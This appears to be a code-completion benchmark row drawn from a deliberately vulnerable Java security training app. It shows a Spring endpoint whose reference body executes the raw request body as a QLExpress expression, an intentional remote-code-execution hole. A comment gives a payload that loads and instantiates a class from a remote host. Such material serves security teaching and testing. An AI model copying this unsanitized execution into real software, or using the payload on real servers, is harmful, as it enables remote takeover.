JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/QLExpress.java | QLExpress | vuln1 | class QLExpress {
/**
* url = 'http://sb.dog:8888/';
* classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);
* classLoader.loadClass('Hello').newInstance();
*/
@RequestMapping("/vuln1")
public String vuln1(HttpServletRequest req) throws Exception{<FILL_FUNCTION_BODY>}
... |
String express = WebUtils.getRequestBody(req);
System.out.println(express);
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
Object r = runner.execute(express, context, null, true, false);
System.o... | 284 | 93 | 377 | <no_super_class> |
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